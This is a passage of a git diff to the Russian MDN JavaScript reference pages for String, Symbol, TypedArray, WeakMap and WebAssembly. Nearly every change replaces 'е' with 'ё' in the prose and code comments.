+<p>Заменённая строка может включатся в следующие специальные шаблоны:</p> <table class="standard-table"> <thead> @@ -82,7 +82,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/String/replaceAll <p>Вы можете передать функцию вторым параметром. Этом случае, функция вызывается после нахождения совпадений. Результат функции может быть использована как замещающая строка. (<strong>Внимание:</strong> Выше упомянутые специальные шаблоны замены в данном случае неприменимы.)</p> -<p>Функция может быть вызвана многократно для каждого замененного совпадения, если регулярное выражение указано с глобальным флагом("g").</p> +<p>Функция может быть вызвана многократно для каждого заменённого совпадения, если регулярное выражение указано с глобальным флагом("g").</p> <p>Функция имеет следующие аргументы:</p> diff --git a/files/ru/web/javascript/reference/global_objects/string/slice/index.html b/files/ru/web/javascript/reference/global_objects/string/slice/index.html index 5b6f3895c4..021c1839ae 100644 --- a/files/ru/web/javascript/reference/global_objects/string/slice/index.html +++ b/files/ru/web/javascript/reference/global_objects/string/slice/index.html @@ -35,7 +35,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/String/slice <h3 id="Возвращаемое_значение">Возвращаемое значение</h3> -<p>Новая строка, содержащая извлеченную часть строки.</p> +<p>Новая строка, содержащая извлечённую часть строки.</p> <h2 id="Description" name="Description">Описание</h2> @@ -75,15 +75,15 @@ str.slice(0, -1); // вернёт 'Приближается утро' <p>В этом примере начальным индексом считается <code>11</code>-й символ с конца строки, а конечным - <code>16</code>-й с начала.</p> -<pre class="brush: js notranslate">str.slice(-11, 16); // вернет 'ается утр'</pre> +<pre class="brush: js notranslate">str.slice(-11, 16); // вернёт 'ается утр'</pre> <p>Здесь начальным индексом считается <code>6</code>-й символ от начала строки, а конечным - <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">7</span></font>-й с конца.</p> -<pre class="brush: js notranslate">str.slice(6, -7); // вернет 'жаетс'</pre> +<pre class="brush: js notranslate">str.slice(6, -7); // вернёт 'жаетс'</pre> <p>В этом примере оба индекса считаются с конца строки: <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">5</span></font>-й для начального индекса, <code>1</code>-й для конечного.</p> -<pre class="brush: js notranslate">str.slice(-5, -1); // вернет 'утро'</pre> +<pre class="brush: js notranslate">str.slice(-5, -1); // вернёт 'утро'</pre> <h2 id="Specifications" name="Specifications">Спецификации</h2> diff --git a/files/ru/web/javascript/reference/global_objects/symbol/for/index.html b/files/ru/web/javascript/reference/global_objects/symbol/for/index.html index 5b4a6ee85c..87d85f23ce 100644 --- a/files/ru/web/javascript/reference/global_objects/symbol/for/index.html +++ b/files/ru/web/javascript/reference/global_objects/symbol/for/index.html @@ -5,7 +5,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Symbol/for --- <div>{{JSRef}}</div> -<p>Метод <code><strong>Symbol.for(key)</strong></code> ищет ранее созданный разделяемый символ по заданному ключу и возвращает его, если он найден. В противном случае создается новый разделяемый символ для данного ключа в глобальном реестре символов.</p> +<p>Метод <code><strong>Symbol.for(key)</strong></code> ищет ранее созданный разделяемый символ по заданному ключу и возвращает его, если он найден. В противном случае создаётся новый разделяемый символ для данного ключа в глобальном реестре символов.</p> <h2 id="Синтаксис">Синтаксис</h2> diff --git a/files/ru/web/javascript/reference/global_objects/symbol/index.html b/files/ru/web/javascript/reference/global_objects/symbol/index.html index 739474189c..71361cc695 100644 --- a/files/ru/web/javascript/reference/global_objects/symbol/index.html +++ b/files/ru/web/javascript/reference/global_objects/symbol/index.html @@ -35,7 +35,7 @@ var sym2 = Symbol("foo"); var sym3 = Symbol("foo"); </pre> -<p>Код выше создает три новых символа. Заметьте, что <code>Symbol("foo")</code> не выполняет приведение (англ. coercion) строки "foo" к символу. Это выражение создает каждый раз новый символ:</p> +<p>Код выше создаёт три новых символа. Заметьте, что <code>Symbol("foo")</code> не выполняет приведение (англ. coercion) строки "foo" к символу. Это выражение создаёт каждый раз новый символ:</p> <pre class="brush: js">Symbol("foo") === Symbol("foo"); // false</pre> @@ -55,7 +55,7 @@ typeof symObj; // "object" <h3 id="Разделяемые_символы_в_глобальном_символьном_реестре">Разделяемые символы в глобальном символьном реестре</h3> -<p>Приведенный выше синтаксис, использующий функцию <code>Symbol(),</code> не создаст глобальный символ, который был бы доступен в любом месте вашего кода. Для создания символов, доступных во всех файлах и в окружении (глобальной области), используйте методы {{jsxref("Symbol.for()")}} и {{jsxref("Symbol.keyFor()")}}, чтобы задать или получить символ из глобального символьного реестра.</p> +<p>Приведённый выше синтаксис, использующий функцию <code>Symbol(),</code> не создаст глобальный символ, который был бы доступен в любом месте вашего кода. Для создания символов, доступных во всех файлах и в окружении (глобальной области), используйте методы {{jsxref("Symbol.for()")}} и {{jsxref("Symbol.keyFor()")}}, чтобы задать или получить символ из глобального символьного реестра.</p> <h3 id="Поиск_символьных_свойств_у_объектов">Поиск символьных свойств у объектов</h3> @@ -97,9 +97,9 @@ typeof symObj; // "object" <dt>{{jsxref("Symbol.hasInstance")}}</dt> <dd>Метод, определяющий, распознает ли конструктор некоторый объект как свой экземпляр. Используется оператором {{jsxref("Operators/instanceof", "instanceof")}}.</dd> <dt>{{jsxref("Symbol.isConcatSpreadable")}}</dt> - <dd>Булево значение, показывающее, должен ли объект быть сведен к плоскому представлению (англ. flatten) в виде массива его элементов функцией {{jsxref("Array.prototype.concat()")}}.</dd> + <dd>Булево значение, показывающее, должен ли объект быть сведён к плоскому представлению (англ. flatten) в виде массива его элементов функцией {{jsxref("Array.prototype.concat()")}}.</dd> <dt>{{jsxref("Symbol.unscopables")}}</dt> - <dd>Массив строковых имен свойств. Позволяет скрыть свойства от инструкции with (прежде всего для обратной совместимости).</dd> + <dd>Массив строковых имён свойств. Позволяет скрыть свойства от инструкции with (прежде всего для обратной совместимости).</dd> <dt>{{jsxref("Symbol.species")}}</dt> <dd>Метод, определяющий конструктор для порождённых объектов.</dd> <dt>{{jsxref("Symbol.toPrimitive")}}</dt> @@ -112,7 +112,7 @@ typeof symObj; // "object" <dl> <dt>{{jsxref("Symbol.for()", "Symbol.for(key)")}}</dt> - <dd>Ищет существующие символы по заданному ключу и возвращает его, если он найден. В противном случае создается новый символ для данного ключа в глобальном реестре символов.</dd> + <dd>Ищет существующие символы по заданному ключу и возвращает его, если он найден. В противном случае создаётся новый символ для данного ключа в глобальном реестре символов.</dd> <dt>{{jsxref("Symbol.keyFor", "Symbol.keyFor(sym)")}}</dt> <dd>Получает по разделяемому символу его ключ из глобального реестра символов.</dd> </dl> @@ -153,7 +153,7 @@ typeof Symbol.iterator === 'symbol' <h3 id="Символы_и_конструкция_for...in">Символы и конструкция <code>for...in</code></h3> -<p>Символы не перечисляются при итерации {{jsxref("Statements/for...in","for...in")}}. В дополнение к этому, {{jsxref("Object.getOwnPropertyNames()")}} не вернет символьные свойства объекта. Тем не менее, их можно получить с помощью {{jsxref("Object.getOwnPropertySymbols()")}}.</p> +<p>Символы не перечисляются при итерации {{jsxref("Statements/for...in","for...in")}}. В дополнение к этому, {{jsxref("Object.getOwnPropertyNames()")}} не вернёт символьные свойства объекта. Тем не менее, их можно получить с помощью {{jsxref("Object.getOwnPropertySymbols()")}}.</p> <pre class="brush: js">var obj = {}; @@ -175,7 +175,7 @@ for (var i in obj) { <p>Подробности см. {{jsxref("JSON.stringify()")}}.</p> -<h3 id="Объекты-обёртки_для_Symbol_в_качестве_имен_свойств">Объекты-обёртки для Symbol в качестве имен свойств</h3> +<h3 id="Объекты-обёртки_для_Symbol_в_качестве_имён_свойств">Объекты-обёртки для Symbol в качестве имён свойств</h3> <p>Когда объект-обёртка символа используется в качестве имени свойства, этот объект сводится к символу, который он оборачивает:</p> diff --git a/files/ru/web/javascript/reference/global_objects/symbol/toprimitive/index.html b/files/ru/web/javascript/reference/global_objects/symbol/toprimitive/index.html index ac35c69346..1252063034 100644 --- a/files/ru/web/javascript/reference/global_objects/symbol/toprimitive/index.html +++ b/files/ru/web/javascript/reference/global_objects/symbol/toprimitive/index.html @@ -21,7 +21,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Symbol/toPrimitive <h2 id="Описание">Описание</h2> -<p>С помощью свойства <strong><code>Symbol.toPrimitive</code></strong><code> </code>(которое описывается как функция), объект может быть приведен к примитивному типу. Функция вызывается со строковым аргументом <code><strong>hint</strong></code>, который передает желаемый тип примитива. Значением аргумента <code><strong>hint</strong></code> может быть одно из следующих значений <code>"<em>number</em>"</code>, <code>"<em>string</em>"</code>, и <code>"<em>default</em>"</code>.</p> +<p>С помощью свойства <strong><code>Symbol.toPrimitive</code></strong><code> </code>(которое описывается как функция), объект может быть приведён к примитивному типу. Функция вызывается со строковым аргументом <code><strong>hint</strong></code>, который передаёт желаемый тип примитива. Значением аргумента <code><strong>hint</strong></code> может быть одно из следующих значений <code>"<em>number</em>"</code>, <code>"<em>string</em>"</code>, и <code>"<em>default</em>"</code>.</p> <h2 id="Примеры">Примеры</h2> diff --git a/files/ru/web/javascript/reference/global_objects/typedarray/index.html b/files/ru/web/javascript/reference/global_objects/typedarray/index.html index 17bd236f34..3db99bf074 100644 --- a/files/ru/web/javascript/reference/global_objects/typedarray/index.html +++ b/files/ru/web/javascript/reference/global_objects/typedarray/index.html @@ -35,7 +35,7 @@ Int8Array(), Uint8Array(), Uint8ClampedArray(), Int16Array(), Uint16Array(), Int <dt>object</dt> <dd>Новый массив создаётся так, как если бы была вызвана функция <code><em>TypedArray</em>.from()</code></dd> <dt>buffer, byteOffset, length</dt> - <dd>Когда происходит вызов с параметрами <strong><code>buffer</code> </strong>и опциональными параметрами <strong><code>byteOffset </code></strong>и<code> </code><strong><code>length</code></strong>, то будет создан новый типизированный массив, который будет отражать <code>buffer </code>типа {{jsxref("ArrayBuffer")}}. Параметры <code>byteOffset</code> и <code>length</code> определяют диапазон (размер) памяти, выводимый данным массивоподобным представлением. Если оба этих параметра (<code>byteOffset</code> и <code>length</code>) опущены, то будет использован весь буфер <code>buffer</code>; если опущен только <code>length</code>, то будет выведен весь остаток буфера после смещения начала отсчета элементов, заданного параметром <code>byteOffset</code>.</dd> + <dd>Когда происходит вызов с параметрами <strong><code>buffer</code> </strong>и опциональными параметрами <strong><code>byteOffset </code></strong>и<code> </code><strong><code>length</code></strong>, то будет создан новый типизированный массив, который будет отражать <code>buffer </code>типа {{jsxref("ArrayBuffer")}}. Параметры <code>byteOffset</code> и <code>length</code> определяют диапазон (размер) памяти, выводимый данным массивоподобным представлением. Если оба этих параметра (<code>byteOffset</code> и <code>length</code>) опущены, то будет использован весь буфер <code>buffer</code>; если опущен только <code>length</code>, то будет выведен весь остаток буфера после смещения начала отсчёта элементов, заданного параметром <code>byteOffset</code>.</dd> </dl> <h2 id="Описание"><a id="Description" name="Description">Описание</a></h2> @@ -218,7 +218,7 @@ for (var k in typedArrayTypes) <tr> <td>{{SpecName('Typed Array')}}</td> <td>{{Spec2('Typed Array')}}</td> - <td>Определяет работу <code>TypedArray</code> и <code>ArrayBufferView</code>. Заменен в ECMAScript 6.</td> + <td>Определяет работу <code>TypedArray</code> и <code>ArrayBufferView</code>. Заменён в ECMAScript 6.</td> </tr> <tr> <td>{{SpecName('ES6', '#sec-typedarray-objects', 'TypedArray Objects')}}</td> diff --git a/files/ru/web/javascript/reference/global_objects/unescape/index.html b/files/ru/web/javascript/reference/global_objects/unescape/index.html index b0052bf0dc..0aecf842d0 100644 --- a/files/ru/web/javascript/reference/global_objects/unescape/index.html +++ b/files/ru/web/javascript/reference/global_objects/unescape/index.html @@ -11,7 +11,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/unescape <h2 id="Summary" name="Summary">Описание</h2> -<p>Устаревший метод <code><strong>unescape(str)</strong></code> создает новую строку в которой шестнадцатеричная последовательность символов вида %xx заменяется эквивалентами из кодировки ASCII. Знаки, закодированные в формате %uxxxx (знаки Юникода), заменяются знаками Юникода в шестнадцатеричной кодировке xxxx.</p> +<p>Устаревший метод <code><strong>unescape(str)</strong></code> создаёт новую строку в которой шестнадцатеричная последовательность символов вида %xx заменяется эквивалентами из кодировки ASCII. Знаки, закодированные в формате %uxxxx (знаки Юникода), заменяются знаками Юникода в шестнадцатеричной кодировке xxxx.</p> <p>Последовательность может быть результатом работы функции вроде {{jsxref("Global_Objects/escape", "escape")}}. Т.к. {{jsxref("Global_Objects/decodeURIComponent", "unescape")}} является устаревшей, используйте {{jsxref("Global_Objects/decodeURI", "decodeURI")}} или {{jsxref("Global_Objects/decodeURIComponent", "decodeURIComponent")}} вместо неё.</p> diff --git a/files/ru/web/javascript/reference/global_objects/uneval/index.html b/files/ru/web/javascript/reference/global_objects/uneval/index.html index 21cd4e9958..2fa30aeeaa 100644 --- a/files/ru/web/javascript/reference/global_objects/uneval/index.html +++ b/files/ru/web/javascript/reference/global_objects/uneval/index.html @@ -10,7 +10,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/uneval <div><strong style="font-size: 2.14285714285714rem; font-weight: 700; letter-spacing: -1px; line-height: 30px;">Сводка</strong></div> -<p><code style="font-style: normal; line-height: 1.5;"><strong>uneval()</strong></code><span style="line-height: 1.5;"> метод создает строковое представление исходного кода объекта.</span></p> +<p><code style="font-style: normal; line-height: 1.5;"><strong>uneval()</strong></code><span style="line-height: 1.5;"> метод создаёт строковое представление исходного кода объекта.</span></p> <h2 id="Syntax" name="Syntax">Синтаксис</h2> diff --git a/files/ru/web/javascript/reference/global_objects/weakmap/clear/index.html b/files/ru/web/javascript/reference/global_objects/weakmap/clear/index.html index 260264b01d..e99dbd4a2d 100644 --- a/files/ru/web/javascript/reference/global_objects/weakmap/clear/index.html +++ b/files/ru/web/javascript/reference/global_objects/weakmap/clear/index.html @@ -32,7 +32,7 @@ wm.has(window) // false <h2 id="Спецификации">Спецификации</h2> -<p>Не входит ни в одну текущую спецификацию или черновик. Этот метод был частью черновика ECMAScript 6, до 28 ревизии (версия от 14 октября, 2014), но был удален в последующих версиях черновика. В финальном стандарте его не будет.</p> +<p>Не входит ни в одну текущую спецификацию или черновик. Этот метод был частью черновика ECMAScript 6, до 28 ревизии (версия от 14 октября, 2014), но был удалён в последующих версиях черновика. В финальном стандарте его не будет.</p> <h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2> diff --git a/files/ru/web/javascript/reference/global_objects/weakmap/delete/index.html b/files/ru/web/javascript/reference/global_objects/weakmap/delete/index.html index 8072855d1e..595f0ab82e 100644 --- a/files/ru/web/javascript/reference/global_objects/weakmap/delete/index.html +++ b/files/ru/web/javascript/reference/global_objects/weakmap/delete/index.html @@ -15,7 +15,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/WeakMap/delete <dl> <dt>key</dt> - <dd>Обязателен. Ключ элемента, который будет уделен из объекта WeakMap.</dd> + <dd>Обязателен. Ключ элемента, который будет уделён из объекта WeakMap.</dd> </dl> <h3 id="Возвращаемое_значение">Возвращаемое значение</h3> diff --git a/files/ru/web/javascript/reference/global_objects/weakmap/index.html b/files/ru/web/javascript/reference/global_objects/weakmap/index.html index 1bf1b3c017..c849670ad7 100644 --- a/files/ru/web/javascript/reference/global_objects/weakmap/index.html +++ b/files/ru/web/javascript/reference/global_objects/weakmap/index.html @@ -27,7 +27,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/WeakMap <h3 id="Почему_WeakMap">Почему<em> Weak</em>Map?</h3> -<p>Опытный JavaScript разработчик заметит, что map API можно реализовать на JavaScript c помощью двух массивов (один для ключей, второй для значений) и четырех общих API методов. Установка элементов в этот map должна будет одновременно запушить ключи и значения. В результате индексы ключа и значения будут корректными. Получение значений с map потребует итерирование ключей, чтобы найти совпадение, а затем использование индекса этого соответствия для извлечения соответствующего значения из массива значений.</p> +<p>Опытный JavaScript разработчик заметит, что map API можно реализовать на JavaScript c помощью двух массивов (один для ключей, второй для значений) и четырёх общих API методов. Установка элементов в этот map должна будет одновременно запушить ключи и значения. В результате индексы ключа и значения будут корректными. Получение значений с map потребует итерирование ключей, чтобы найти совпадение, а затем использование индекса этого соответствия для извлечения соответствующего значения из массива значений.</p> <p>У такой реализации было бы два главных неудобства. Первым является O(n) поиск (где n — количество ключей в map), так как обе операции требуют итерирование списка ключей для нахождения совпадения. Вторым <span style="background-color: #f9f9f9; color: #252525; font-family: sans-serif; font-size: 12.3199996948242px; line-height: 18.4799995422363px; text-transform: lowercase;">– </span>проблема утечки памяти. В словарях, написанных вручную, массив с ключами будет хранить ссылки на объекты-ключи, не давая им быть помеченными сборщиком мусора. В нативных <code>WeakMap</code>, ссылки на объекты-ключи хранятся «слабо», что означает то, что они не предотвратят сборку мусора в том случае, если других ссылок на объект не будет.</p> diff --git a/files/ru/web/javascript/reference/global_objects/webassembly/compile/index.html b/files/ru/web/javascript/reference/global_objects/webassembly/compile/index.html index 90f80474a6..e463183f01 100644 --- a/files/ru/web/javascript/reference/global_objects/webassembly/compile/index.html +++ b/files/ru/web/javascript/reference/global_objects/webassembly/compile/index.html @@ -69,7 +69,7 @@ fetch('simple.wasm').then(response => <h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузером</h2> <div> -<div class="hidden">Таблица совместимости на этой странице создается из структурированных данных. Если вы хотите внести свой вклад в данные, ознакомьтесь с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам запрос на перенос.</div> +<div class="hidden">Таблица совместимости на этой странице создаётся из структурированных данных. Если вы хотите внести свой вклад в данные, ознакомьтесь с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам запрос на перенос.</div> <p>{{Compat("javascript.builtins.WebAssembly.compile")}}</p> </div> diff --git a/files/ru/web/javascript/reference/global_objects/webassembly/compilestreaming/index.html b/files/ru/web/javascript/reference/global_objects/webassembly/compilestreaming/index.html index 106519cdf2..79b702b091 100644 --- a/files/ru/web/javascript/reference/global_objects/webassembly/compilestreaming/index.html +++ b/files/ru/web/javascript/reference/global_objects/webassembly/compilestreaming/index.html @@ -31,7 +31,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/WebAssembly/compileStrea <h2 id="Примеры">Примеры</h2> -<p>Следующий пример (см. Нашу демонстрацию <a href="https://github.com/mdn/webassembly-examples/blob/master/js-api-examples/compile-streaming.html">compile-streaming.html</a> на GitHub и <a href="https://mdn.github.io/webassembly-examples/js-api-examples/compile-streaming.html">view it live</a>) напрямую передает модуль .wasm из исходника, затем компилирует его в объект {{jsxref("WebAssembly.Module")}}.<br> +<p>Следующий пример (см. Нашу демонстрацию <a href="https://github.com/mdn/webassembly-examples/blob/master/js-api-examples/compile-streaming.html">compile-streaming.html</a> на GitHub и <a href="https://mdn.github.io/webassembly-examples/js-api-examples/compile-streaming.html">view it live</a>) напрямую передаёт модуль .wasm из исходника, затем компилирует его в объект {{jsxref("WebAssembly.Module")}}.<br> Поскольку функция <code>compileStreaming()</code> принимает обещание для объекта {{domxref("Response")}}, вы можете напрямую передать ему вызов {{domxref("WindowOrWorkerGlobalScope.fetch()")}}, и он передаст ответ в выполняемую функцию.</p> <pre class="brush: js">var importObject = { imports: { imported_func: arg => console.log(arg) } }; @@ -40,7 +40,7 @@ WebAssembly.compileStreaming(fetch('simple.wasm')) .then(module => WebAssembly.instantiate(module, importObject)) .then(instance => instance.exports.exported_func());</pre> -<p>Затем создается полученный экземпляр модуля с помощью {{jsxref("WebAssembly.instantiate()")}} и вызывается экспортированная функция.</p> +<p>Затем создаётся полученный экземпляр модуля с помощью {{jsxref("WebAssembly.instantiate()")}} и вызывается экспортированная функция.</p> <h2 id="Характеристики">Характеристики</h2> @@ -65,7 +65,7 @@ WebAssembly.compileStreaming(fetch('simple.wasm')) <h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузером</h2> <div> -<div class="hidden">Таблица совместимости на этой странице создается из структурированных данных. Если вы хотите внести свой вклад в данные, ознакомьтесь с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам запрос на перенос.</div> +<div class="hidden">Таблица совместимости на этой странице создаётся из структурированных данных. Если вы хотите внести свой вклад в данные, ознакомьтесь с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам запрос на перенос.</div> <p>{{Compat("javascript.builtins.WebAssembly.compileStreaming")}}</p> </div> diff --git a/files/ru/web/javascript/reference/global_objects/webassembly/index.html b/files/ru/web/javascript/reference/global_objects/webassembly/index.html index daff5d4ee7..5265fcdac1 100644 --- a/files/ru/web/javascript/reference/global_objects/webassembly/index.html +++ b/files/ru/web/javascript/reference/global_objects/webassembly/index.html @@ -5,9 +5,9 @@ translation_of: Web/JavaScript/Reference/Global_Objects/WebAssembly --- <div>{{JSRef}}{{SeeCompatTable}}</div> -<p>Объект JavaScript <strong><code>WebAssembly</code></strong> действует как пространство имен для всего <a href="/en-US/docs/WebAssembly">WebAssembly</a>-связанного функционала.</p> +<p>Объект JavaScript <strong><code>WebAssembly</code></strong> действует как пространство имён для всего <a href="/en-US/docs/WebAssembly">WebAssembly</a>-связанного функционала.</p> -<p>В отличие от большинства других глобальных объектов, <code>WebAssembly</code> не является конструктором (это не объект функции). Можно сравнить его с {{jsxref("Math")}}, который так же является пространством имен констант и функций, или {{jsxref("Intl")}}, который является пространством имен для конструкторов интернационализации и других языково-чувствительных функций.</p> +<p>В отличие от большинства других глобальных объектов, <code>WebAssembly</code> не является конструктором (это не объект функции). Можно сравнить его с {{jsxref("Math")}}, который так же является пространством имён констант и функций, или {{jsxref("Intl")}}, который является пространством имён для конструкторов интернационализации и других языково-чувствительных функций.</p> <h2 id="Описание">Описание</h2> @@ -34,24 +34,24 @@ translation_of: Web/JavaScript/Reference/Global_Objects/WebAssembly <dl> <dt>{{jsxref("WebAssembly.Module()")}}</dt> - <dd>Создает новый объект WebAssembly <code>Module</code>.</dd> + <dd>Создаёт новый объект WebAssembly <code>Module</code>.</dd> <dt>{{jsxref("WebAssembly.Instance()")}}</dt> - <dd>Создает новый объект WebAssembly <code>Instance</code>.</dd> + <dd>Создаёт новый объект WebAssembly <code>Instance</code>.</dd> <dt>{{jsxref("WebAssembly.Memory()")}}</dt> - <dd>Создает новый объект WebAssembly <code>Memory</code>.</dd> + <dd>Создаёт новый объект WebAssembly <code>Memory</code>.</dd> <dt>{{jsxref("WebAssembly.Table()")}}</dt> - <dd>Создает новый объект WebAssembly <code>Table</code>.</dd> + <dd>Создаёт новый объект WebAssembly <code>Table</code>.</dd> <dt>{{jsxref("WebAssembly.CompileError()")}}</dt> - <dd>Создает новый объект WebAssembly <code>CompileError</code>.</dd> + <dd>Создаёт новый объект WebAssembly <code>CompileError</code>.</dd> <dt>{{jsxref("WebAssembly.LinkError()")}}</dt> - <dd>Создает новый объект WebAssembly <code>LinkError</code>.</dd> + <dd>Создаёт новый объект WebAssembly <code>LinkError</code>.</dd> <dt>{{jsxref("WebAssembly.RuntimeError()")}}</dt> - <dd>Создает новый объект WebAssembly <code>RuntimeError</code>.</dd> + <dd>Создаёт новый объект WebAssembly <code>RuntimeError</code>.</dd> </dl> <h2 id="Примеры">Примеры</h2> -<p>После загрузки некоторого байт-кода WebAssembly с помощью fetch, мы компилируем и создаем экземпляр модуля с помощью функции {{jsxref("WebAssembly.instantiate()")}}, импортируя функции JavaScript в WebAssembly Module в процессе. Этот промис результирует в объект (<code>result</code>), содержащий скомпилированные <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/Module">Module</a></code> и объекты <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/Instance">Instance</a></code>. Мы можем вызвать <a href="/en-US/docs/WebAssembly/Exported_functions">Exported WebAssembly function</a>, которая была экспортирована через <code>Instance</code>.</p> +<p>После загрузки некоторого байт-кода WebAssembly с помощью fetch, мы компилируем и создаём экземпляр модуля с помощью функции {{jsxref("WebAssembly.instantiate()")}}, импортируя функции JavaScript в WebAssembly Module в процессе. Этот промис результирует в объект (<code>result</code>), содержащий скомпилированные <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/Module">Module</a></code> и объекты <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/Instance">Instance</a></code>. Мы можем вызвать <a href="/en-US/docs/WebAssembly/Exported_functions">Exported WebAssembly function</a>, которая была экспортирована через <code>Instance</code>.</p> <pre class="brush: js">var importObject = { imports: { @@ -148,7 +148,7 @@ fetch('simple.wasm').then(response => </table> </div> -<p>[1] WebAssembly включен в Firefox 52+, хотя не валиден в <a href="https://www.mozilla.org/en-US/firefox/organizations/">Firefox 52 Extended Support Release</a> (ESR.)</p> +<p>[1] WebAssembly включён в Firefox 52+, хотя не валиден в <a href="https://www.mozilla.org/en-US/firefox/organizations/">Firefox 52 Extended Support Release</a> (ESR.)</p> <p>[2] В настоящее время поддерживается флаг «Экспериментальные функции JavaScript». Для более подробной информации смотрите <a href="https://blogs.windows.com/msedgedev/2017/04/20/improved-javascript-performance-webassembly-shared-memory/">этот blog post</a>.</p> diff --git a/files/ru/web/javascript/reference/global_objects/webassembly/table/index.html b/files/ru/web/javascript/reference/global_objects/webassembly/table/index.html index eb9bc5ce48..23fab50edb 100644 --- a/files/ru/web/javascript/reference/global_objects/webassembly/table/index.html +++ b/files/ru/web/javascript/reference/global_objects/webassembly/table/index.html @@ -5,7 +5,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/WebAssembly/Table --- <div>{{JSRef}}</div> -<p>Объект <code><strong>WebAssembly.Table()</strong></code> - это JavaScript обертка — структура похожая на массив, представляющая таблицу функций WebAssembly. Таблица, созданная через JavaScript или в коде WebAssembly, будет доступна и может быть изменена как из JavaScript, так и из WebAssembly.</p> +<p>Объект <code><strong>WebAssembly.Table()</strong></code> - это JavaScript обёртка — структура похожая на массив, представляющая таблицу функций WebAssembly. Таблица, созданная через JavaScript или в коде WebAssembly, будет доступна и может быть изменена как из JavaScript, так и из WebAssembly.</p> <div class="note"> <p><strong>Обратите внимание</strong>: Таблицы сейчас хранят только ссылки на функции, но это может быть расширено в будущем.</p> @@ -15,7 +15,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/WebAssembly/Table <dl> <dt><code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/Table/Table">WebAssembly.Table()</a></code></dt> - <dd>Создает новый объект <code>Table</code>.</dd> + <dd>Создаёт новый объект <code>Table</code>.</dd> </dl> <h2 id="Экземпляры_Table">Экземпляры <code>Table</code></h2> @@ -44,14 +44,14 @@ translation_of: Web/JavaScript/Reference/Global_Objects/WebAssembly/Table <h2 id="Примеры">Примеры</h2> -<p>Следующий пример (смотри <a href="https://github.com/mdn/webassembly-examples/blob/master/js-api-examples/table2.html">исходный код</a> и <a href="https://mdn.github.io/webassembly-examples/js-api-examples/table2.html">живую версию</a> table2.html) создает новый экземпляр WebAssembly Table с 2 элементами. После этого выводит длину таблицы и содержимое первых двух элементов (полученных через {{jsxref("WebAssembly/Table/get", "Table.prototype.get()")}} чтобы показать что длина равняется 2 и элементы равны {{jsxref("null")}}.</p> +<p>Следующий пример (смотри <a href="https://github.com/mdn/webassembly-examples/blob/master/js-api-examples/table2.html">исходный код</a> и <a href="https://mdn.github.io/webassembly-examples/js-api-examples/table2.html">живую версию</a> table2.html) создаёт новый экземпляр WebAssembly Table с 2 элементами. После этого выводит длину таблицы и содержимое первых двух элементов (полученных через {{jsxref("WebAssembly/Table/get", "Table.prototype.get()")}} чтобы показать что длина равняется 2 и элементы равны {{jsxref("null")}}.</p> <pre class="brush: js">var tbl = new WebAssembly.Table({initial:2, element:"anyfunc"}); console.log(tbl.length); // "2" console.log(tbl.get(0)); // "null" console.log(tbl.get(1)); // "null"</pre> -<p>После этого мы создаем объект импорта содержащий таблицу:</p> +<p>После этого мы создаём объект импорта содержащий таблицу:</p> <pre class="brush: js">var importObj = { js: { @@ -59,7 +59,7 @@ console.log(tbl.get(1)); // "null"</pre> } };</pre> -<p>После этого, мы создаем экземпляр модуля wasm (table2.wasm) используя метод {{jsxref("WebAssembly.instantiateStreaming()")}}. Модуль table2.wasm содержит две функции, одна возвращает 42, а вторая - 83) и сохраняет эти функции под индексами 0 и 1 в импортированную таблицу (смотри <a href="https://github.com/mdn/webassembly-examples/blob/master/js-api-examples/table2.wat">текстовую версию</a>). Таким образом, после создания wasm-модуля, таблица имеет туже длину, но элементы таблицы стали <a href="/ru-RU/docs/WebAssembly/Exported_functions">функциями экспортированными из WebAssembly</a> которые можно вызывать из JS.</p> +<p>После этого, мы создаём экземпляр модуля wasm (table2.wasm) используя метод {{jsxref("WebAssembly.instantiateStreaming()")}}. Модуль table2.wasm содержит две функции, одна возвращает 42, а вторая - 83) и сохраняет эти функции под индексами 0 и 1 в импортированную таблицу (смотри <a href="https://github.com/mdn/webassembly-examples/blob/master/js-api-examples/table2.wat">текстовую версию</a>). Таким образом, после создания wasm-модуля, таблица имеет туже длину, но элементы таблицы стали <a href="/ru-RU/docs/WebAssembly/Exported_functions">функциями экспортированными из WebAssembly</a> которые можно вызывать из JS.</p> <pre class="brush: js">WebAssembly.instantiateStreaming(fetch('table2.wasm'), importObject) .then(function(obj) { @@ -68,9 +68,9 @@ console.log(tbl.get(1)); // "null"</pre> console.log(tbl.get(1)()); });</pre> -<p>Заметьте что понадобилось добавить второй оператор вызова функции чтобы вызвать функцию возвращенную из талицы (т.е. <code>get(0)()</code> вместо <code>get(0)</code>) .</p> +<p>Заметьте что понадобилось добавить второй оператор вызова функции чтобы вызвать функцию возвращённую из талицы (т.е. <code>get(0)()</code> вместо <code>get(0)</code>) .</p> -<p>Этот пример показывает что мы создаем и работаем с таблицей из JavaScript, но экземпляр таблицы также виден и доступен внутри модуля wasm.</p> +<p>Этот пример 